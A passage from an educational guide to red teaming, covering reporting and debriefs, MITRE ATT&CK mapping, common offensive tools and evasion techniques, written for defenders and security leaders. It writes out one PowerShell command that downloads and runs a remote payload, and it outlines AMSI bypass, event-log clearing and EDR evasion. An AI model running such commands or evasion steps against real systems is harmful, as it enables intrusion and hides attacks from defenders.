Finally, the red team will remove any persistent accesses they installed (or at least document them thoroughly if removal isn’t immediate). The white team or trusted agent usually assists here: verifying that any rogue accounts are disabled, any implants are uninstalled, any devices plugged in are retrieved. It’s critical to leave the environment as it was (or more secure, if they fixed some things during, like closing the web shell they used to get in).

Now the action is over. The red team transitions to the reporting and debriefing phase, which is arguably the most important part of the engagement for the organization’s improvement.

6. Reporting and Debrief (Analysis and Remediation Planning)

The final phase of the red team engagement is reporting, debriefing, and remediation. This is where the red team steps out of the shadows and reveals what they did, how far they got, and what was learned. The value of a red team engagement is fully realized only if these findings lead to action. Here’s what happens:

• Comprehensive Report: The red team prepares a detailed report narrating the engagement from start to finish. It typically includes:
  • Executive Summary: A high-level overview of the assessment and key outcomes in plain language. For example: “Over a 4-week period, our red team simulated a state-sponsored attack. They were able to breach the corporate network via a phishing email, obtain domain administrator privileges, and access the customer records database, all without being detected by existing security controls.” This section highlights business impact (what could a real attacker have done) and often a few headline metrics (like time to compromise, number of high-risk findings).
  • Methodology and Timeline: An outline of the phases of testing, and a chronological timeline of significant attacker actions and key events. This helps correlate any defensive detections that might have occurred at those times.
  • Attack Narrative: A detailed, step-by-step walkthrough of the attack path(s). This reads like a story: “Step 1: Gained initial access via phishing employee John Doe (IT Support) who entered credentials on a fake VPN page. Step 2: Used John’s VPN access to run a malicious script on his machine, collecting credentials (including an admin cached password). Step 3: Leveraged admin credentials to move laterally to Server X …”, and so on. Each step is usually tied to evidence (screenshots, log snippets) and an explanation of what weakness it exploited.
  • Findings and Impact: For each major finding or vulnerability that contributed to the success, they detail it and the impact. Example findings: “Inadequate phishing protection led to multiple credential leaks”; “Lack of network segmentation allowed a compromised user machine to reach crown-jewel servers directly”; “Legacy application Server X was unpatched (CVE-XXXX-XXXX) enabling remote code execution”; “SOC monitoring failed to detect malicious PowerShell activity and lateral movement.” They often quantify impact (like how many records could have been accessed, or potential financial loss scenarios).
  • Mapping to MITRE ATT&CK: Many reports include a matrix or list mapping the techniques used to the MITRE ATT&CK framework, highlighting which techniques were successful vs. detected. For example, under Tactic “Credential Access,” they might list Technique “OS Credential Dumping (T1003) – Performed via Mimikatz on two servers – Not Detected.” This gives a structured view of coverage and gaps.
  • Recommendations: Crucially, the report doesn’t just say what’s broken; it provides guidance to fix it. For each finding, there should be clear remediation recommendations. These might be tactical (“Deploy multifactor authentication for VPN and privileged accounts immediately” or “Apply the latest patches to Server X to fix CVE-XXX”) and strategic (“Implement network segmentation between user networks and critical server networks”; “Conduct regular security awareness training focusing on targeted phishing”; “Tune SIEM use cases to alert on simultaneous logins from different regions,” etc.). The recommendations are often prioritized (e.g., high, medium, low) so the organization knows where to focus first.
• Debrief Presentation: After delivering the report, the red team typically holds a debrief meeting (or several) with relevant stakeholders. This can include executives, the IT/security teams (blue team), and sometimes representatives from compliance or risk management. The red team will walk through the scenario, often using slides or visualization (some use network diagrams highlighting the attack path, or screenshots of key moments). It’s common to replay the attack from the defender’s point of view as well: “At this point in our operation (Day 5), we triggered an alert on your EDR which was not investigated – let’s discuss why” or “Here is what your DNS logs showed when we did data exfiltration (if anything).” This collaborative review is incredibly valuable for the blue team to understand what they missed and how the red team navigated around controls. It’s not about shaming but learning. Many red teams approach this in a blameless post-mortem style, emphasizing systemic issues over individual errors.

Often, the red team and blue team will correlate events: the blue team might say “We did notice a spike in outbound traffic but couldn’t tie it to an incident,” and the red team confirms that was their exfiltration. This helps refine detection rules (maybe next time, that spike will be investigated). Or the blue team might have detected a malware file but treated it as an isolated virus; the red team can show it was part of a larger chain, teaching the defenders to look for lateral movement after any malware detection, not assume it’s handled by cleaning one machine.

• Remediation Plan and Follow-up: The outcome of reporting should be an actionable remediation plan. The security leadership should translate recommendations into concrete tasks: e.g., projects to implement MFA, update incident response playbooks, invest in new security tools, or tighten policies. Some fixes are quick (changing passwords, closing firewall ports), while others are longer-term (segmentation, culture change for security awareness). The red team report can serve as evidence for justifying budget or changes – it’s hard to argue with a demonstration that “we could have lost X million dollars” or “customer data was at risk” when it’s presented with proof.

In regulated industries, these findings might also be reported to regulators, who will expect the organization to remediate them. For instance, the Bank of England’s CBEST or ECB’s TIBER-EU frameworks require the organization to create a remediation plan after a red team test and possibly have a follow-up test or audit to ensure critical issues are addressed.

Some organizations quickly move into a purple team mode after a red team: they task the internal teams to develop new detection rules for all the missed techniques and perhaps bring the red team (or a subset) back to validate those. For example, if the red team used PowerShell to dump credentials and it wasn’t caught, the blue team might within weeks deploy a new EDR rule for suspicious PowerShell, then have the red team run a similar payload to test the alert.

• Metrics and Maturity Assessment: Red team findings can feed into metrics: such as “Initial compromise to domain admin: 4 days. Time to detection: 0 (not detected until reveal). Number of attack paths discovered: 3. Number of high-risk vulnerabilities exploited: 2,” etc. Tracking these over multiple exercises can show improvement (or regressions). Many organizations incorporate red team outcomes into their security maturity assessments. For instance, if the red team could bypass the incident response, it shows maturity level needs uplift in detection/response domain. Some use capability maturity models to score their performance and then target to reach a higher score next time (e.g., “we want to catch the red team by ourselves next year within 24 hours of compromise”).

The reporting phase is where a red team engagement yields its ROI. A superb red team exercise with poor reporting is a missed opportunity. Conversely, even a limited red team test can be hugely beneficial if the findings are clearly communicated and drive change. It’s often recommended to share sanitized lessons from red team exercises widely within the organization – not just IT, but to executives and relevant departments – to build awareness. For example, if the red team succeeded through the finance department, you might hold a briefing for that department on how to spot social engineering, showing the example (without blame) as context.

In summary, the reporting and debrief stage translates the red team’s technical journey into actionable intelligence for the organization. It closes the feedback loop: the red team has acted as an adversary, now they turn into advisors. They’ve essentially performed a “cyber fire drill” and now hand the report on how well the fire alarms and extinguishers worked, and where they need improvement. The organization’s job is to treat that report not as a one-time checklist, but as input into continuously strengthening their security program.

Having covered the lifecycle of red teaming, the next part of our guide examines how using frameworks like MITRE ATT&CK can enhance both the planning and analysis of red team exercises. We’ll then delve deeper into the specific tools and techniques red teams use (building on some mentioned above), and then proceed to industry-specific practices and benefits like those in finance and Southeast Asia.

Integrating Red Teaming with the MITRE ATT&CK Framework

One of the most powerful ways to plan, execute, and evaluate red team operations is by using the MITRE ATT&CKframework. MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) is a globally recognized knowledge base of cyber adversary behavior, categorized by tactics (the adversary’s goals or phases) and techniques (specific methods to achieve those goals). In essence, ATT&CK provides a common language for describing threats, and red teams have eagerly adopted it as a foundation for adversary emulation.

Here’s how MITRE ATT&CK plays a role in red teaming:

• Threat Scenario Planning: During the planning phase, if the organization wants to simulate a particular threat (say a known APT group or a ransomware gang), MITRE ATT&CK is invaluable. Each known threat group in ATT&CK has a profile of techniques they’ve been observed using. Red teams can pick techniques from those profiles to include in their plan. For example, if emulating a ransomware actor, the plan might include techniques like Phishing (T1566) for initial access, Disable Security Software (T1562) as they progress, Data Encrypted for Impact (T1486) if they simulate file encryption, etc., referencing the ATT&CK IDs. This ensures the red team operations reflect real adversary behaviors rather than arbitrary choices. ATT&CK essentially acts as a menu of TTPs. Red teams can use it to ensure they consider tactics across the kill chain, and communicate the plan in those terms to stakeholders who understand ATT&CK.
• Execution Tracking: As the red team proceeds, they can log each action with its corresponding ATT&CK technique. Many red team tools (and manual processes) now integrate this. Some teams use the ATT&CK Navigator tool to color-code techniques as they use them. For example, if they used Spearphishing Link (T1566.002) to get in, and later Pass the Hash (T1550.002) for lateral movement, they mark those on the matrix. This tracking helps ensure they don’t overly rely on one tactic. They might realize, “We haven’t touched any Persistence techniques yet; should we attempt one, or is it not needed?” It can also highlight if a certain critical technique failed (maybe because a control stopped it), prompting them to try an alternative. If the engagement has to adapt, ATT&CK provides a framework to select a different technique within the same tactic.
• Detection Mapping: For the blue team, mapping the red team’s actions to ATT&CK after the fact is extremely helpful to identify gaps. For instance, if the red team executed 5 techniques under the Credential Access tactic (like keylogging, credential dumping, brute forcing), and only 1 of those was detected, the defenders know exactly which 4 were missed and can work on those specific detection analytics. ATT&CK mapping highlights defensive coverage vs. exposure. It also avoids the problem of focusing on unique details of the test; by abstracting to techniques, improvements can be generalized. E.g., “We missed detecting Process Injection (T1055) used by the red team’s malware – do we have detection for other forms of process injection? If not, many attacks could bypass us similarly.”
• Reporting and Metrics: Including an ATT&CK-based view in the report, such as a heat map or a list, provides a high-level summary that boards and executives increasingly recognize (ATT&CK has become a lingua franca). The report might say, for example: “Our red team employed 28 unique ATT&CK techniques across 10 tactics. Of those, our controls detected 9 techniques (32%). The least covered tactics were Defense Evasion and Lateral Movement – indicating a need to bolster monitoring in those areas.” This resonant way of measuring can be tracked over subsequent exercises – ideally, the detection percentage goes up as the program matures.
• Adversary Emulation Plans: MITRE, in its ATT&CK framework, has published adversary emulation plans for certain APT groups (like APT3, APT29, etc.) which are step-by-step scenarios using ATT&CK techniques. Red teams can use these plans directly or as a baseline to develop their custom scenario. If, for instance, an organization in Southeast Asia is worried about a threat group known to target that region (say an APT associated with espionage), they might take MITRE’s emulation plan for that group and tailor it to their environment. This ensures the engagement is grounded in real threat intelligence. Using these plans can also make regulatory red team tests more straightforward, as regulators often encourage threat intelligence-led scenarios (e.g., TIBER-EU tests involve creating a detailed scenario based on threat intel about likely attackers).
• Purple Teaming and Continuous Improvement: Beyond one-off red team events, many organizations are adopting a purple team approach – where red and blue work together in workshops to test and tune specific techniques. Here, ATT&CK is the checklist for joint exercises: the teams might go through ATT&CK techniques one by one (or the most relevant ones) using tools like Atomic Red Team (which provides small test cases for ATT&CK techniques) to see if they can detect and respond to each. This process is like taking the red team report and systematically addressing each technique. Over time, a security team can build confidence that “for these X techniques, we have visibility and alerts, for these Y we don’t (yet).” A mature program might integrate ATT&CK into routine SOC operations, tracking detection coverage like a scorecard.

In essence, MITRE ATT&CK bridges the gap between offense and defense. It helps red teams ensure they emulate a comprehensive range of adversary behaviors (not just a narrow exploit path), and helps blue teams map those behaviors to their controls. It also provides a clear way to communicate findings and improvements in a way that ties back to known threats and best practices. Many organizations find that using ATT&CK makes red team exercises more structured and their follow-up more methodical.

For instance, a red team might report: “We used PowerShell Script Execution (T1059.001) for most of our payload delivery, which went undetected. Consider enabling PowerShell logging and monitoring (ATT&CK mitigation ID M1047) to catch such behavior.” This direct mapping from technique to mitigation advice is facilitated by ATT&CK’s knowledge base, which includes mitigations and detection ideas for each technique.

The use of ATT&CK has become so prevalent that some regulatory frameworks explicitly reference it for red teaming. In Hong Kong’s iCAST (intelligence-led red teaming) framework, for example, results are often mapped to ATT&CK tactics/techniques so regulators can see which areas are lacking. The same is true in newer guidelines like the US’s CISA evaluations or industry consortiums.

In summary, integrating ATT&CK into red teaming ensures the exercise is aligned with the global understanding of adversary behavior and that the results can be operationalized by the defense team in a structured way. It turns what could be an anecdotal story of “they hacked us in this unique way” into a set of generalized lessons: “they used these known techniques which we should be able to detect and prevent going forward.” This is key for improving security maturity beyond just patching one hole – it’s about closing whole classes of holes.

Having covered methodology and frameworks, let’s zoom into the red team’s toolbox. Understanding the specific tools and techniques red teams use will give deeper insight into how they achieve the things described so far, and what you, as a defender or manager, should be aware of.

Tools and Techniques of the Red Team Trade

Red teamers are often likened to advanced attackers in their tool usage, and indeed there’s substantial overlap. The arsenal of a red team includes a mix of open-source tools, commercial platforms, custom scripts, and “living-off-the-land” techniques (abusing built-in system features). For defenders and security leaders, knowing these tools provides insight into how attacks might manifest and what artifacts they leave. Let’s explore key categories of red team tools and techniques:

Command-and-Control (C2) Frameworks and Post-Exploitation Platforms

These are the cornerstone of modern red team operations. C2 frameworks allow red teamers to maintain stealthy control over compromised systems, coordinate multiple compromised hosts, and execute payloads or modules as needed. They act as the attacker’s remote headquarters once inside.

• Cobalt Strike: Often considered the gold standard of red team tooling, Cobalt Strike is a commercial adversary simulation software. It provides a team server and an easy-to-use interface for controlling compromised machines via Beacon implants. Once a Beacon is running on a victim host, the red team can instruct it to run commands, scan internally, dump passwords, pivot to other machines, etc., all covertly. Beacon communications are flexible – they can be configured to use HTTP/HTTPS, DNS, SMB named pipes, and more, and to blend in by imitating common user-agent strings or domain fronting. Cobalt Strike is prized for its reliability and powerful scripting (through Aggressor Scripts). However, it’s so popular that many real threat actors use pirated copies, making Cobalt Strike Beacons a frequent sight in actual breaches. As a result, many EDR and NDR solutions are good at spotting unmodified Cobalt Strike behavior. Red teams counter this by customizing Beacon (changing its malleable profile, using in-memory execution, etc.). Despite newer competitors, Cobalt Strike remains a go-to for many red team firms due to its robustness and features honed over years.
• Brute Ratel C4 (BRC4): Brute Ratel is a newer commercial tool advertised as an advanced red teaming and adversary simulation platform designed to evade modern defenses (particularly EDR). Its agent, called Badger, is analogous to Beacon. Brute Ratel supports advanced in-memory techniques, and communications between Badgers can be peer-to-peer (forming mesh networks inside a target) or to the C2. It even supports things like SMB C2 and domain fronting out-of-the-box. Threat actors have started using Brute Ratel because of its stealth; for instance, some ransomware groups experimented with it. However, after a copy leaked on VirusTotal in 2022, defensive research into Brute Ratel increased. Sophos reported that in 2022-2023, Brute Ratel was still rarely seen and often not caught by antivirus, whereas Cobalt Strike was more common but more detected. Red teams may choose Brute Ratel when they suspect the target’s defenses are particularly tuned against Cobalt Strike. It’s part of a cat-and-mouse cycle: as one tool becomes detectable, new ones arise to take its place.
• Sliver: Sliver is an open-source C2 framework by BishopFox, often cited as an alternative to Cobalt Strike for teams that prefer not to use commercial or want more customization. Sliver implants support multiple platforms and have an array of capabilities similar to Beacon (spawn processes, inject shellcode, etc.). One advantage is that defenders may not have as many signatures for Sliver compared to the ubiquitous Cobalt Strike. Sliver also supports something called MTLS (Mutual TLS) communication which is harder to intercept. Red teams on a budget or who want to open-source their stack might use Sliver heavily. Other open-source frameworks include Mythic (with Python and C# agents), Nighthawk (commercial, from MDSec), PoshC2 (PowerShell based), and the older Empire(PowerShell/Python, now discontinued but still used in variations).
• Metasploit Framework & Meterpreter: Metasploit is more a penetration testing framework than a stealthy red team platform, but it’s often used in the initial foothold stage. Its Meterpreter payload gives an interactive session with many post-exploitation modules (dumping hashes, capturing keystrokes, etc.). Meterpreter communications can be encrypted but are fairly well-known to endpoint security. Red teamers might use Metasploit to exploit an external service and drop Meterpreter for quick wins, then use that session to deploy a more covert C2 (like Beacon). Metasploit is like the Swiss Army knife – not the quietest, but very handy. Also, certain exploits are conveniently packaged in Metasploit, so it’s often used to fire off an exploit and then not used further if stealth is a concern.
• Custom C2 Implants: Some advanced red teams develop their own C2 implants or use less common ones to avoid detection. For instance, they might write a custom .NET implant that uses the organization’s own email server as a C2 channel (sending commands via hidden email drafts – something attackers have done too). Others might use mobile C2(if testing mobile devices). The creativity is endless: one could use Slack API for C2, or DNS txt records, etc. The key is that C2 frameworks are highly modular. A capable red team will have multiple channels ready: if one gets detected or blocked, they spin up another.

For defenders, recognizing C2 activity is critical. It often involves seeing network traffic patterns (like periodic beaconing to an uncommon external domain) or process behaviors (like rundll32.exe connecting to the internet at odd intervals, which is something Cobalt Strike might do when injecting into rundll32). Network-based indicators include strange TLS certificate patterns or domain grammar that looks off. Some organizations deploy canary tokens internally (like fake credentials in memory) to see if a C2 tool grabs them – which could then phone home and be spotted. Understanding that if an attacker is in for long, they likely have a C2 channel helps guide hunting efforts: look for persistent outbound communications.

Initial Access and Lure Tools

These tools help red teams deliver their malicious payloads or phish for credentials effectively:

• Phishing Platforms (GoPhish, PhishMe): GoPhish is a popular open-source phishing campaign toolkit. It lets the red team set up email templates and phishing sites easily, track who clicked, and capture credentials. The red team can host a fake login page (which might proxy to the real one to avoid suspicion) and have GoPhish record credentials entered. Commercial platforms (like PhishMe/CoFence) exist too, but are often used more for training by companies. Red teams often just spin up their own infrastructure: register a lookalike domain (e.g., acme-it-support.com vs acme.com), set up an email server or use a mail delivery service that’s less likely to be blocked, and send emails appearing from a trusted sender. They must craft content carefully – a balance between being convincing and not so alarming that employees report it immediately. Some teams even create multiple phish waves: if someone clicks, a second stage might prompt for 2FA code in real-time (to do a live AiTM attack).
• Malicious Document Builders: Many corporate targets will only execute payloads if they come in familiar file formats (Office docs, PDFs) rather than .exe files which might get blocked. Tools like Luckystrike (for Office macros) or Phishery (which creates Word docs that capture NTLM hashes by loading a remote image) help create weaponized documents. For instance, a malicious Excel file with an auto-run macro can drop a payload or even directly inject shellcode into memory. Red teamers often heavily obfuscate macro code to avoid antivirus – using techniques like hex-encoding the payload or splitting strings. They might also use DDE (Dynamic Data Exchange) exploits in Office or other exploit builder kits for PDF (though PDF exploits are rarer now).
• Payload Generators and Obfuscators: Generating a payload that isn’t flagged by AV is a mini science. Tools like Veil and Empire’s malleable loaders were historically used to create executables with low detection. Nowadays, many red teams write their own small loaders in C++ or C# to drop their main implant. They might use packers or crypters to scramble the payload. EDR evasion frameworks (like ScareCrow for .NET) can produce payloads that avoid hooking. One specific technique is to use “sideloading”: find a legitimate app that loads a DLL if present, and replace that DLL with a malicious one (so the app acts as the launcher, appearing innocent). If a red team finds such an app on a target (or can get a user to run it from a zip), they can execute code under the guise of a trusted binary.
• Web Exploit Tools: If targeting web apps, tools like SQLMap (for SQL injection), XXE exploit scripts, or custom scanners are used to find and exploit weaknesses. A red team might run a vulnerability scanner quietly to see if any low-hanging fruit exist (though noisy scanners risk tipping off defenders). They might instead do targeted exploitation manually or use smaller tools like ffuf (for directory brute-forcing) to find hidden admin panels.
• Hardware Implants: For physical engagements, devices like the Bash Bunny or Rubber Ducky by Hak5 are useful. The Rubber Ducky looks like a USB thumb drive but acts as a keyboard, typing a predefined script at superhuman speed when plugged in. A red teamer might mail one to an office labeled “Confidential – Layoffs” hoping someone plugs it in out of curiosity. The script could open a PowerShell and pull down a stage-two payload from the internet. The Bash Bunny is a more advanced multi-payload computer that can emulate various USB devices (Ethernet, storage, etc.) to carry out attacks like setting up a rogue network adapter that exfiltrates data. LAN Turtle is another – a small device that when plugged into a network port can establish VPN back to the red team. Knowing these exist, physical security should treat unknown devices seriously.

In practice, initial access often boils down to phishing because it consistently works and doesn’t require a vulnerability. For example, when UK’s CBEST tests began, many banks expected exotic attacks, but time and again the red teams got in via spear-phishing or social engineering the helpdesk. So despite all the fancy 0-days, “hack the human” remains a tried-and-true tactic. Therefore, red teamers invest time in making their lures top-notch. They might stage a whole scenario (like an email from HR about benefits enrollment, complete with company logo, sender spoofing, etc.). They often create fake websites that are TLS-encrypted (because users trust the padlock) – services like Let’s Encrypt made it easy to get certs for fake domains. They also may test their payloads against common antivirus products (in a lab or using online services cautiously) to ensure they’re not easily flagged.

Privilege Escalation and Credential Theft Tools

Once on a machine, red teamers use various tools to escalate privileges and extract credentials, since these open the door to further conquest:

• Mimikatz & Credential Dumpers: Mimikatz is the famous tool to extract Windows credentials from memory. It can retrieve plaintext passwords (if any are stored or if WDIGEST is enabled), NTLM password hashes, Kerberos tickets, and more. It can also perform “pass-the-hash” in memory and Golden Ticket attacks. Red teams often run Mimikatz via their C2 (some C2s have built-in Mimikatz functionality) to avoid writing the binary to disk. Variants like MimiKatz’s Invoke-Mimikatz (PowerShell) or safety wrapper tools exist. Additionally, ProcDump from Sysinternals can dump LSASS memory which can then be analyzed offline with Mimikatz to achieve similar results – a method sometimes used to avoid on-host detection of Mimikatz patterns. On domain controllers, red teams might use NTDSUtil or secretsdump (from Impacket) to dump the entire Active Directory database (NTDS.dit) which yields password hashes for all users – essentially the keys to impersonate any account via pass-the-hash.
• Rubeus, Impacket, and Kerberos Tools: Rubeus is a C# tool that can perform many Kerberos attacks (extract tickets, ask for service tickets for Kerberoasting, renew tickets, etc.). Red teams use it for attacks like Kerberoasting – requesting Kerberos service tickets for SPNs (Service Principal Names) and then cracking them offline to get service account passwords (some of which are Domain Admins). Tools like Impacket’s GetUserSPNs.py script do similar. Impacket also has secretsdump.py which can, if you have the right access, dump all secrets from a Windows machine or domain controller (including cached creds, LSA secrets, etc.) – a goldmine of lateral movement material. Red teams often utilize these after getting some privileged foothold to rapidly escalate and spread.
• Privilege Escalation Scripts: WinPEAS (Windows Privilege Escalation Awesome Script) and its Linux counterpart LinPEAS are automated scripts that enumerate a compromised system for misconfigurations. Running WinPEAS on a server might highlight “AlwaysInstallElevated is enabled – any .msi can run as SYSTEM” or “Service XYZ has an unquoted path and is writable by normal users – potential privilege escalation”. This saves time versus manually checking hundreds of possible issues. There’s also PowerUp (PowerSploit) for Windows and LinEnum for Linux which do similar checks. Red teamers might drop these if their initial access is low-privilege and they need to find a way to admin. They’ll parse the output and then use another tool or manual step to exploit the weakness found. For instance, if WinPEAS finds an SSH private key file in a user directory, they might try using that key to log in elsewhere.
• Password Cracking and Brute Force: If the red team obtains password hashes (NTLM hashes, /etc/shadow from Linux, password vaults, etc.), they might try to crack them to get plaintext. They’ll use tools like Hashcat or John the Ripper with powerful wordlists or even GPU clusters (though heavy cracking might be done offline after the engagement unless needed immediately for progress). Cracked passwords can reveal patterns or allow login to systems where hash pass-the-hash doesn’t work (like certain network devices or reused passwords on other services).
• LaZagne and Other Extractors: LaZagne is an open-source tool that extracts stored passwords on a machine (browsers, Wi-Fi, email client creds, etc.). Red teamers might run this to get credentials that the user saved in apps, which might include admin passwords (many IT staff store passwords in files or password managers – if those aren’t secure, LaZagne could dump them). Even something like saved RDP credentials in Windows Credential Manager can be pulled and potentially reused.
• Living-off-the-Land Binaries for Escalation: Red teams also exploit things like using schtasks.exe (to create a scheduled task that runs as SYSTEM), or abusing DLL search order hijacking (placing a malicious DLL where a service loads one without specifying a path). They might use sc.exe to configure a new service that executes their payload with SYSTEM rights. These are “no new tools” techniques that blend in with normal admin actions.

Windows environments have many potential local privilege escalation paths, and domain environments have misconfigurations like Kerberos unconstrained delegation or ACLs that give too much access which BloodHound can identify. Red teams will methodically follow those paths: for example, if BloodHound shows that “User X can RDP to Server Y and that server has admin session of User Z who is Domain Admin,” they will RDP (using X’s creds), then from Server Y run Mimikatz to grab Z’s creds, then become Domain Admin. That kind of chain happens regularly.

Lateral Movement and Internal Pivoting Tools

After gaining higher privileges and some credentials, red teams turn to tools that facilitate moving through the network and expanding control:

• CrackMapExec (CME): CrackMapExec is a favorite post-exploitation tool for Windows networks. It allows automation of various actions: scanning networks for hosts, checking which hosts a set of credentials works on, enumerating information (like user sessions or logged-in admins on remote machines), dumping SAM hashes, executing commands on multiple machines, etc. For example, after getting a hash for an admin, a red teamer can use CME to spray that hash across the entire subnet to see where it yields admin access. It provides a quick way to see “I have creds for Bob, where can Bob log in as admin?” which might reveal new machines to target. CME also integrates Mimikatz-like functions to run remotely. It’s essentially a post-exploitation Swiss Army knife that speaks SMB, WMI, WinRM, etc.
• Impacket Toolkit: We mentioned Impacket for credential dumping; it’s also heavily used for lateral movement. Scripts like wmiexec.py allow running commands on a remote Windows system via WMI (leaving very little trace, just a WMI process launching cmd). atexec.py uses the AT service (though that’s deprecated on newer Windows). psexec.pymimics the PsExec approach – it creates a service on the remote host that runs a command. Impacket’s smbserver.pycan create a rogue SMB server to capture hashes if a target tries to authenticate to it (useful in certain relay attacks or for grabbing credentials via UNC paths). Also, ntlmrelayx.py in Impacket is powerful: it can take an incoming NTLM authentication (say from a Responder trick) and relay it to another service to authenticate as that user, which is a common way to jump from one machine to another without knowing any creds (if certain signing requirements aren’t enforced).
• Responder and Network Spoofing: Responder is a tool that listens on a network for certain protocols (LLMNR, NBT-NS, MDNS) and responds to them to trick machines into sending credentials (NTLM hashes). This is a classic internal attack – if a Windows machine tries to resolve a name that isn’t in DNS, Responder can say “I’m that server” and the Windows machine will attempt authentication, giving the red team an NTLMv2 hash to crack or relay. Using Responder, a red team might quickly gather some hashes of other users on the same network segment. Tools like Inveigh do similar for PowerShell-based execution. There are also DHCP poisoning or WPAD rogue proxy techniques to direct traffic through their host for MITM.
• BloodHound & ACL Exploitation: BloodHound isn’t just for recon; once it shows a path, red teams use tools like Invoke-ACLpwn to automate certain AD attacks. For instance, if BloodHound finds that a user has the ability to reset the password of a higher-privileged user (a misconfiguration), the red team can do exactly that – use the standard Set-ADAccountPassword PowerShell cmdlet to change that user’s password and then log in as them. Or if they have the ability to add a user to a privileged group, they will do so to escalate. These are extremely stealthy in that they use normal admin functions but exploit unintended relationships.
• Living-off-the-Land Lateral Movement: Often the simplest way to move laterally, if you have credentials, is to use what an admin would use: e.g., RDP (Remote Desktop) into another machine, or use SMB file shares to drop a file and trigger it. Red teamers might use PowerShell Remoting (WinRM) if enabled (it’s like an SSH for Windows). If they compromise something like SCCM or Jenkins or other management tools, they can push code through those (which appears very legitimate since that’s their purpose). We’ve seen cases where red teams got into a software deployment system and then deployed their payload as if it were a software update to hundreds of machines at once – basically weaponizing IT tools.
• Data Collection Tools: As they spread, they also search for the target data. They might use specialized tools to search files for certain keywords or to list database contents. If, say, the target is credit card data, they may run scripts to find 16-digit patterns across file shares. Or use PowerShell to query SQL databases directly if creds allow. This is more analysis, but I include it because some tools are geared for scanning files or SharePoint for interesting info. SharpHound for BloodHound also collects session data which indirectly tells them where high-privilege users are logged in – that itself is useful for lateral movement targeting.
• Cleanup/Evasion Tools: While moving laterally, they might also use tools like PSExec but renamed to not trigger alarms, or they might clear Windows event logs that record their remote logins (PowerShell scripts for log clearing). Some EDRs track lateral movement by tracing logon events, so red teams try to remove those traces or use methods that don’t generate them (like token impersonation rather than a full logon).

In moving laterally, the main thing the red team wants to avoid is setting off any Intrusion Detection that might be monitoring internal traffic or causing a user to notice a slowdown (like if they copy huge files over network, someone might see it). They typically move during off-hours when possible, especially if doing something noisy. But many of the above tools are quite surgical and don’t consume much bandwidth or CPU.

Evasion and Anti-Detection Techniques

To maximize their dwell time and success, red teams incorporate numerous evasion techniques to bypass security controls:

• • Obfuscation and Encryption: They obfuscate scripts (PowerShell, VBScript, etc.) to avoid signature matches. For example, a well-known AMSI bypass (to disable Microsoft’s Anti-Malware Scan Interface) can be encoded in base64 and split into pieces so it isn’t detected. They often encrypt or encode payloads and then decode in memory. C2 traffic is always encrypted (standard), sometimes double-encrypted or tunneled through trusted channels (like hiding data in DNS requests or in an HTTPS POST to a whitelisted domain).
• Bypassing Endpoint Protections: Many EDRs hook sensitive functions (like Windows API calls for creating processes, injecting into memory, etc.). Red teamers employ techniques to unhook or avoid those. Tools like Invoke-Phant0m can clear event logs on Windows to blind EDRs that rely on those logs. They might perform process injection using direct system calls (bypassing user-mode hooks). There’s an entire arsenal: Ghosting (running malware from a deleted file so AV can’t scan it), Doppelgänging (using NTFS transactions to hide payload execution), Thread Local Storage injections, etc. Sophisticated red teams have playbooks for EDR evasion which they test in lab environments. Sometimes they will intentionally trigger a tiny bit of malicious behavior to see if it gets caught, as a way to calibrate how sensitive the defenses are. For instance, run a known malware snippet on one machine to see if SOC reacts; if not, maybe the defenses are weak and they can be less careful.
• Use of “Safe” Programming/Execution: Using languages like C# for payloads can bypass classic AV which focuses on EXEs or scripts. They’ll often use Cobalt Strike’s “execute-assembly” to run an entire C# tool in memory via Beacon (e.g., run Rubeus or Seatbelt in memory) leaving minimal trace. Or they use PowerShell’s in-memory execution via something like Invoke-Expression (New-Object Net.WebClient).DownloadString(‘http://server/payload.ps1’), which leaves only a PowerShell process (which they may have disabled logging for by patching AMSI and scriptblock logging at runtime).
• Operational Security (OPSEC): Red teamers maintain strict OPSEC: they might avoid using certain commands that they know are heavily monitored. Instead of dumping the entire SAM database, which might trigger an alert for that event ID, they selectively query it. They avoid obvious malware filenames; if they must drop a file, they name it something innocuous (or copy an existing system file name and put it in a temp folder). They use staging servers on the internet to handle payload downloads from domains that look benign (often compromising or buying aged domains to look less suspicious).
• Simulating Insider: A crafty evasion technique is, once they have an account, to perform actions using that account’s normal access methods. For example, if they compromise a user who has VPN access, they might actually connect through the VPN with that user’s creds (especially if MFA wasn’t noticed or they have the token). Then all their traffic looks like it’s coming from a legitimate user session. Or if they compromise an admin’s account, they might use the same remote admin tools that admin uses. The idea is to blend into known-good patterns as much as possible.
• Clearing Evidence: Throughout the attack, red teams may remove obvious footprints – deleting the files they create on disk, removing user accounts they added, wiping application logs (like web server logs after exploiting a web app). They have to balance this (removing too much might itself be suspicious, e.g., if security logs are completely empty one day). But certainly, before the test ends, they aim to cover tracks to simulate an APT that doesn’t want to get caught even after they’re gone. They might leave one indicator for the sake of the exercise wrap-up as earlier mentioned, but for all other aspects behave like a sneaky intruder.

For a security team, knowledge of these evasion tactics is important. It’s why defense in depth is emphasized: even if the malware hides from antivirus, maybe your network monitoring or anomaly detection catches something (like an account logging in at an odd time, or an internal port scan, etc.). Also, user and entity behavior analytics (UEBA) can catch things like “this user never accesses server X, but today they did and dumped 500MB of data.” Red team reports often highlight where evasion succeeded – maybe they’ll note that “EDR did not flag our credential dump attempt,” suggesting that method was not covered. Or conversely, if something they tried got blocked, that’s a success for the defense to note (and the red team might avoid that next time and try a different route).

After all these tools and techniques, one might feel a bit overwhelmed by how many ways there are to breach and move around a network. That’s precisely why red teaming is so valuable: it exposes an organization to that full spectrum of attack, safely. By experiencing it, even second-hand through a report, the defenders and leadership gain insight into what to prepare for and invest in.

Next, we’ll look at how these practices vary or are specifically applied in different contexts – particularly in industries like finance where red teaming is often mandated, and then focusing on trends in Southeast Asia. The complexity of red teaming can be tailored to the threats and regulatory environment of each sector, as we will see.

Industry Perspectives: Red Teaming in Finance and Southeast Asia

Red teaming originated in military strategy and has been embraced across industries, but nowhere has it become more formalized than in the financial sector. Banks and financial market infrastructure face sophisticated cyber threats and must maintain trust and stability, leading regulators to push intelligence-led red team testing as a proactive defense measure. In recent years, frameworks like CBEST (UK), TIBER-EU (Europe), iCAST (Hong Kong), FEER (Saudi Arabia), and AASE (Malaysia) have emerged, specifically targeting the cyber resilience of financial institutions. At the same time, Southeast Asia has seen rising cyber threats, prompting banks and other sectors in the region to adopt red teaming to strengthen their security posture. Let’s explore how red teaming is applied in these contexts and its industry-specific relevance.

Red Teaming in the Financial Sector: Global Frameworks and Best Practices

